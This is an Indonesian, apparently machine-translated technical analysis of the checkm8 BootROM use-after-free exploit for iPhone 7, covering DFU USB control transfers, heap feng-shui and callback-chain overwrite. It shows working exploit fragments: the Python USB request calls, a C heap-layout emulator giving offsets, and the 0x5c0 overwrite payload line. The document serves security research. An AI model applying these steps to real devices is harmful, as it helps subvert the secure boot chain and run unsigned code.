Kemungkinan besar Anda sudah pernah mendengar tentang exploit checkm8 yang terkenal, yang menggunakan kerentanan yang tidak dapat diperbaiki dalam BootROM
dari sebagian besar iDevices, termasuk iPhone X
Pada artikel ini, kami akan memberikan analisis teknis tentang eksploitasi ini dan mencari tahu apa yang menyebabkan kerentanan.
Anda dapat membaca versi Rusia di sini .
Pendahuluan
Pertama, mari kita jelaskan secara singkat proses booting dari iDevice dan peran yang dimainkan oleh BootROM
(alias SecureROM
). Informasi terperinci tentang itu dapat ditemukan di sini . Seperti apa bentuk booting:

Ketika perangkat dihidupkan, BootROM
dijalankan terlebih dahulu. Tugas utamanya adalah:
- Inisialisasi platform (register platform yang diperlukan diinstal,
CPU
diinisialisasi, dll.) - Verifikasi dan transfer kontrol ke tahap berikutnya
BootROM
mendukung penguraian gambar IMG3/IMG4
BootROM
memiliki akses ke kunci GID
untuk mendekripsi gambar- untuk verifikasi gambar,
BootROM
memiliki kunci Apple
publik Apple
dan fungsi kriptografi yang diperlukan
- Pulihkan perangkat jika booting lebih lanjut tidak dimungkinkan (
Device Firmware Update
, DFU
).
BootROM
memiliki ukuran yang sangat kecil dan dapat disebut versi ringan dari iBoot
, karena mereka berbagi sebagian besar sistem dan kode pustaka. Meskipun, tidak seperti iBoot
, BootROM
tidak dapat diperbarui. Itu dimasukkan ke dalam memori read-only internal ketika perangkat diproduksi. BootROM
adalah akar perangkat keras kepercayaan dari rantai boot aman. Kerentanan BootROM
dapat memungkinkan penyerang mengontrol proses booting dan mengeksekusi kode yang tidak ditandatangani pada perangkat.

Sejarah checkm8
checkm8
ditambahkan ke ipwndfu oleh penulisnya axi0mX pada 27 September 2019. Pada saat yang sama, ia mengumumkan pembaruan di Twitter dan memberikan deskripsi dan informasi tambahan tentang eksploit tersebut. Menurut iBoot
, ia menemukan kerentanan use-after-free
dalam kode USB
sementara menambal iBoot
untuk iOS 12 beta
pada musim panas 2018.
BootROM
dan iBoot
membagikan sebagian besar kode mereka, termasuk USB
, sehingga kerentanan ini juga relevan untuk BootROM
.
Sebagai berikut dari kode exploit, kerentanan dieksploitasi di DFU
. Ini adalah mode di mana seseorang dapat mentransfer gambar yang ditandatangani ke perangkat melalui USB
yang akan di-boot nanti. Misalnya, ini dapat berguna untuk memulihkan perangkat setelah pembaruan yang gagal.
Pada hari yang sama, pengguna littlelailo mengatakan bahwa ia telah menemukan kerentanan itu pada bulan Maret dan menerbitkan deskripsi di apollo.txt . Deskripsi berhubungan dengan checkm8
, meskipun tidak semua detail dari exploit menjadi jelas setelah membacanya. Inilah sebabnya kami memutuskan untuk menulis artikel ini dan menjelaskan semua detail eksploitasi hingga pelaksanaan payload di BootROM
.
Kami mendasarkan analisis kami tentang exploit pada sumber daya yang disebutkan di atas dan kode sumber iBoot/SecureROM
, yang bocor pada Februari 2018. Kami juga menggunakan data yang kami dapatkan dari eksperimen yang dilakukan pada perangkat pengujian kami, iPhone 7
( CPID:8010
) Menggunakan, checkm8
, kami mendapatkan kesedihan dari SecureROM
dan SecureRAM
, yang juga membantu untuk analisis.
Info yang diperlukan tentang USB
Karena kerentanannya ada pada kode USB
, perlu dipahami bagaimana antarmuka ini bekerja. Spesifikasi lengkap dapat ditemukan di https://www.usb.org/ , tetapi ini sudah lama dibaca. Untuk keperluan kita, USB dalam NutShell lebih dari cukup. Di sini, kami hanya akan menyebutkan poin yang paling relevan.
Ada berbagai jenis transfer data USB
. Di DFU
, hanya mode Control Transfers
yang digunakan (baca lebih lanjut di sini ). Dalam mode ini, setiap transaksi memiliki 3 tahap:
Setup Stage
- paket SETUP
dikirim; memiliki bidang-bidang berikut:
bmRequestType
- menentukan arah permintaan, jenisnya, dan penerimabRequest
- mendefinisikan permintaan yang akan dibuatwValue
, wIndex
- ditafsirkan tergantung pada permintaanwLength
- menentukan panjang data yang dikirim / diterima di Data Stage
Data Stage
- tahap opsional transfer data. Bergantung pada paket SETUP
dikirim selama Setup Stage
, data dapat dikirim dari host ke perangkat ( OUT
) atau sebaliknya ( IN
). Data dikirim dalam porsi kecil (untuk Apple DFU
, 0x40 byte).
- Ketika sebuah host ingin mengirim bagian lain dari data, ia mengirimkan token
OUT
dan kemudian data itu sendiri. - Ketika sebuah host siap untuk menerima data dari suatu perangkat, ia mengirimkan token
IN
ke perangkat.
Status Stage
- tahap terakhir; status seluruh transaksi dilaporkan.
- Untuk permintaan
OUT
, tuan rumah mengirimkan token IN
mana perangkat harus merespons dengan paket nol panjang. - Untuk permintaan
IN
, host mengirim token OUT
dan paket panjang nol.
Skema di bawah ini menunjukkan permintaan OUT
dan IN
. Kami mengeluarkan ACK
, NACK
, dan paket jabat tangan lainnya dengan sengaja, karena mereka tidak penting untuk eksploitasi itu sendiri.

Analisis apollo.txt
Kami memulai analisis dengan kerentanan dari apollo.txt . Dokumen tersebut menjelaskan algoritma mode DFU
:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- Ketika usb mulai mendapatkan gambar lebih dari dfu, dfu mendaftarkan antarmuka untuk menangani semua perintah dan mengalokasikan buffer untuk input dan output
- jika Anda mengirim data ke dfu paket setup ditangani oleh kode utama yang kemudian memanggil kode antarmuka
- kode antarmuka memverifikasi bahwa wLength lebih pendek dari panjang buffer output input dan jika itu terjadi, pembaruan pointer dilewatkan sebagai argumen dengan pointer ke buffer output input
- lalu mengembalikan wLength yang merupakan panjang yang ingin diterima ke buffer
- kode utama usb kemudian memperbarui var global dengan panjang dan bersiap-siap untuk menerima paket data
- jika paket data diterima itu akan ditulis ke buffer output input melalui pointer yang disahkan sebagai argumen dan variabel global lainnya digunakan untuk melacak berapa banyak byte yang telah diterima
- jika semua data diterima, kode khusus dfu dipanggil lagi dan kemudian melanjutkan untuk menyalin isi buffer output input ke lokasi memori dari mana gambar tersebut kemudian di-boot
- setelah itu kode usb me-reset semua variabel dan melanjutkan untuk menangani paket-paket baru
- jika dfu keluar dari buffer output input dibebaskan dan jika parsing gambar gagal bootrom masukkan kembali dfu
Pertama, kami memeriksa langkah-langkah ini terhadap kode sumber iBoot
. Kami tidak dapat menggunakan fragmen kode yang bocor di sini, jadi kami akan menggunakan pseudocode yang kami dapatkan dari rekayasa ulang SecureROM
kami di IDA
. Anda dapat dengan mudah menemukan kode sumber iBoot
dan menavigasi itu.
Ketika DFU
diinisialisasi, buffer IO
dialokasikan, dan antarmuka USB
untuk memproses permintaan ke DFU
terdaftar:

Ketika paket SETUP
dari permintaan ke DFU
masuk, penangan antarmuka yang tepat dipanggil. Untuk permintaan OUT
(misalnya, ketika gambar dikirim), jika eksekusi berhasil, pawang harus mengembalikan alamat buffer IO
untuk transaksi serta panjang data yang diharapkan akan diterima. Kedua nilai disimpan dalam variabel global.

Tangkapan layar di bawah ini menunjukkan handler antarmuka DFU
. Jika permintaan benar, maka alamat buffer IO
dialokasikan selama inisialisasi DFU
dan panjang data yang diharapkan dari paket SETUP
dikembalikan.

Selama Data Stage
, setiap bagian data ditulis ke buffer IO
, dan kemudian alamat buffer IO
diimbangi dan penghitung yang diterima diperbarui. Ketika semua data yang diharapkan diterima, penangan data antarmuka dipanggil dan keadaan global transaksi dihapus.

Di penangan data DFU
data yang diterima dipindahkan ke area memori dari mana ia akan dimuat nanti. Berdasarkan kode sumber iBoot
, area ini di perangkat Apple
disebut INSECURE_MEMORY
.

Saat perangkat keluar dari mode DFU
, buffer IO
dialokasikan sebelumnya dibebaskan. Jika gambar berhasil diperoleh dalam mode DFU
, itu akan diverifikasi dan di-boot. Jika ada kesalahan atau tidak mungkin untuk mem-boot gambar, DFU
akan diinisialisasi lagi, dan seluruh proses akan diulang dari awal.
Algoritma yang dijelaskan memiliki kerentanan use-after-free
. Jika kami mengirim paket SETUP
pada saat mengunggah gambar dan menyelesaikan transaksi yang melewatkan Data Stage
, keadaan global akan tetap diinisialisasi selama siklus DFU
berikutnya, dan kami akan dapat menulis ke alamat penyangga IO
dialokasikan selama sebelumnya iterasi DFU
.
Sekarang kita tahu cara kerja use-after-free
berfungsi, pertanyaannya adalah, bagaimana kita bisa menimpa apa pun selama iterasi DFU
? Sebelum inisialisasi DFU
, semua sumber daya yang sebelumnya dialokasikan akan dibebaskan dan alokasi memori dalam iterasi baru harus persis sama. Ternyata, ada kesalahan kebocoran memori yang menarik yang memungkinkan mengeksploitasi use-after-free
.
Analisis checkm8
Mari kita checkm8
sendiri. Demi demonstrasi, kami akan menggunakan versi eksploit yang disederhanakan untuk iPhone 7
, tempat kami mengeluarkan semua kode yang terkait dengan platform lain dan mengubah urutan dan jenis permintaan USB
tanpa merusak fungsionalitasnya. Kami juga menyingkirkan proses membangun muatan, yang dapat ditemukan di file asli, checkm8.py
. Sangat mudah untuk menemukan perbedaan antara versi untuk perangkat lain.
Pengoperasian checkm8
memiliki beberapa tahapan:
- Heap feng-shui
- Alokasi dan pembebasan buffer
IO
tanpa membersihkan negara global - Timpa
usb_device_io_request
di heap dengan use-after-free
- Menempatkan payload
- Eksekusi
callback-chain
- Eksekusi
shellcode
Mari kita lihat semua tahapan secara terperinci.
1. Tumpukan feng-shui
Kami pikir ini adalah tahap yang paling menarik, jadi kami akan menghabiskan lebih banyak waktu untuk menggambarkannya.
stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device)
Tahap ini diperlukan untuk mengatur tumpukan dengan cara yang bermanfaat untuk eksploitasi use-after-free
. Pertama, mari kita pertimbangkan stall
panggilan, leak
, no_leak
:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer
adalah pembungkus untuk device.ctrlTransfer
mengabaikan semua pengecualian yang timbul selama pelaksanaan permintaan. libusb1_async_ctrl_transfer
adalah pembungkus untuk fungsi libusb_submit_transfer
dari libusb
untuk eksekusi asinkron dari sebuah reqeust.
Parameter berikut diteruskan ke panggilan ini:
- Nomor perangkat
- Data untuk paket
SETUP
(di sini Anda dapat menemukan deskripsi ):
bmRequestType
bRequest
wValue
wIndex
- Panjang data (
wLength
) atau data untuk Data Stage
- Permintaan batas waktu
Argumen bmRequestType
, bRequest
, wValue
, dan wIndex
dibagi oleh ketiga jenis permintaan:
bmRequestType = 0x80
0b1XXXXXXX
- arah Data Stage
(Device to Host)0bX00XXXXX
- tipe permintaan standar0bXXX00000
- perangkat adalah penerima permintaan
bRequest = 6
- permintaan untuk mendapatkan deskriptor ( GET_DESCRIPTOR
)wValue = 0x304
wValueHigh = 0x3
- mendefinisikan jenis descriptor - string ( USB_DT_STRING
)wValueLow = 0x4
- indeks deskriptor string, 4, sesuai dengan nomor seri perangkat (dalam hal ini, string adalah CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33]
)
wIndex = 0x40A
- indentifer bahasa string, yang nilainya tidak relevan dengan eksploitasi dan dapat diubah.
Untuk semua permintaan ini, 0x30 byte dialokasikan di heap untuk objek dari struktur berikut:

Bidang yang paling menarik dari objek ini adalah callback
dan next
.
callback
adalah penunjuk ke fungsi yang akan dipanggil ketika permintaan dilakukan.next
adalah pointer ke objek berikutnya dari tipe yang sama; perlu untuk mengatur antrian permintaan.
Fitur utama dari stall
adalah penggunaan eksekusi permintaan yang tidak sinkron dengan batas waktu minimum. Itu sebabnya, jika kita beruntung, permintaan akan dibatalkan pada level OS dan tetap dalam antrian eksekusi, dan transaksi tidak akan selesai. Plus, perangkat akan terus menerima semua paket SETUP
akan datang dan menempatkannya, bila perlu, dalam antrian eksekusi. Kemudian, bereksperimen dengan pengontrol USB
pada Arduino
, kami menemukan bahwa untuk eksploitasi yang sukses, kami memerlukan host untuk mengirim paket SETUP
dan token IN
, setelah itu transaksi harus dibatalkan karena batas waktu. Transaksi tidak lengkap ini terlihat seperti ini:
Selain itu, panjang permintaan hanya berbeda satu unit. Untuk permintaan standar, ada callback
standar yang terlihat seperti ini:

Nilai io_length
sama dengan minimum dari wLength
dalam paket SETUP
permintaan dan panjang asli dari deskriptor yang diminta. Karena deskriptor yang cukup panjang, kita dapat mengontrol nilai io_length
dalam panjangnya. Nilai g_setup_request.wLength
sama dengan nilai wLength
dari paket SETUP
terakhir. Dalam hal ini, ini 0xC1
.
Dengan demikian, permintaan yang dibentuk oleh stall
panggilan dan leak
selesai, kondisi dalam fungsi terminal callback
terpenuhi, dan usb_core_send_zlp()
dipanggil. Panggilan ini menciptakan paket zero-length-packet
(paket zero-length-packet
) dan menambahkannya ke antrian eksekusi. Ini diperlukan untuk penyelesaian transaksi yang benar dalam Status Stage
.
Permintaan selesai dengan memanggil fungsi usb_core_complete_endpoint_io
. Pertama, panggilan callback
dan kemudian membebaskan memori permintaan. Permintaan selesai tidak hanya ketika seluruh transaksi selesai, tetapi juga ketika USB
diatur ulang. Ketika sinyal untuk mereset USB
diterima, semua permintaan dalam antrian eksekusi akan selesai.
Dengan secara selektif memanggil usb_core_send_zlp()
ketika melewati antrian eksekusi dan membebaskan permintaan sesudahnya, kita dapat memperoleh kontrol yang cukup atas tumpukan untuk eksploitasi use-after-free
. Pertama, mari kita lihat loop pembersihan permintaan:

Seperti yang Anda lihat, antrian dikosongkan, dan kemudian permintaan yang dibatalkan dijalankan dan diselesaikan oleh usb_core_complete_endpoint_io
. Permintaan yang dialokasikan oleh usb_core_send_zlp
ditempatkan ke ep->io_head
. Setelah USB
reset selesai, semua informasi tentang titik akhir akan jelas, termasuk pointer io_head
dan io_tail
, dan permintaan panjang nol akan tetap ada di heap. Jadi, kita bisa membuat bongkahan kecil di tengah tumpukan. Skema di bawah ini menunjukkan cara melakukannya:

Di tumpukan SecureROM
, area memori baru dialokasikan dari potongan bebas terkecil yang tepat. Dengan membuat potongan bebas kecil menggunakan metode yang dijelaskan di atas, kita dapat mengontrol alokasi memori selama inisialisasi USB
, termasuk alokasi io_buffer
dan permintaan.
Untuk memiliki pemahaman yang lebih baik tentang ini, mari kita lihat permintaan mana ke heap dibuat ketika DFU
diinisialisasi. Selama analisis kode sumber iBoot
dan rekayasa ulang SecureROM
, kami mendapatkan urutan berikut:
- Alokasi berbagai deskriptor string
- 1.1.
Nonce
(ukuran 234
) - 1.2.
Manufacturer
( 22
) - 1.3.
Product
( 62
) - 1.4.
Serial Number
( 198
) - 1.5.
Configuration string
( 62
)
- Alokasi terkait dengan pembuatan tugas pengontrol
USB
- 2.1. Struktur
0x3c0
( 0x3c0
) - 2.2. Tumpukan
0x1000
( 0x1000
)
io_buffer
( 0x800
)
- Deskriptor konfigurasi
- 4.1.
High-Speed
( 25
) - 4.2.
Full-Speed
( 25
)
Kemudian, struktur permintaan dialokasikan. Jika ada potongan kecil di heap, beberapa alokasi dari kategori pertama akan pergi ke sana, dan semua alokasi lainnya akan pindah. Dengan demikian, kita dapat melimpah usb_device_io_request
dengan merujuk ke buffer yang lama. Ini terlihat seperti ini:

Untuk menghitung offset yang diperlukan, kami cukup meniru semua alokasi yang tercantum di atas dan mengadaptasi sedikit kode sumber iBoot
.
Meniru permintaan ke heap di DFU #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // alignment of the low order bytes of addresses in SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; }
Output dari program dengan 8 permintaan pada tahap heap feng-shui
:
chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540
Seperti yang Anda lihat, usb_device_io_request
lain akan muncul pada offset 0x5c0
dari awal buffer sebelumnya, yang sesuai dengan kode exploit:
t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
Anda dapat memeriksa validitas kesimpulan ini dengan menganalisis status tumpukan SecureRAM
, yang kami dapatkan dengan checkm8
. Untuk tujuan ini, kami menulis skrip sederhana yang mem-parsing timbunan tumpukan dan menghitung potongan. Perlu diingat bahwa selama usb_device_io_request
meluap, bagian dari metadata rusak, jadi kami lewati selama analisis.
Output skrip dengan komentar dapat ditemukan di bawah spoiler. Anda dapat melihat bahwa byte pesanan rendah cocok dengan hasil emulasi.
Hasil penguraian tumpukan di SecureRAM chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 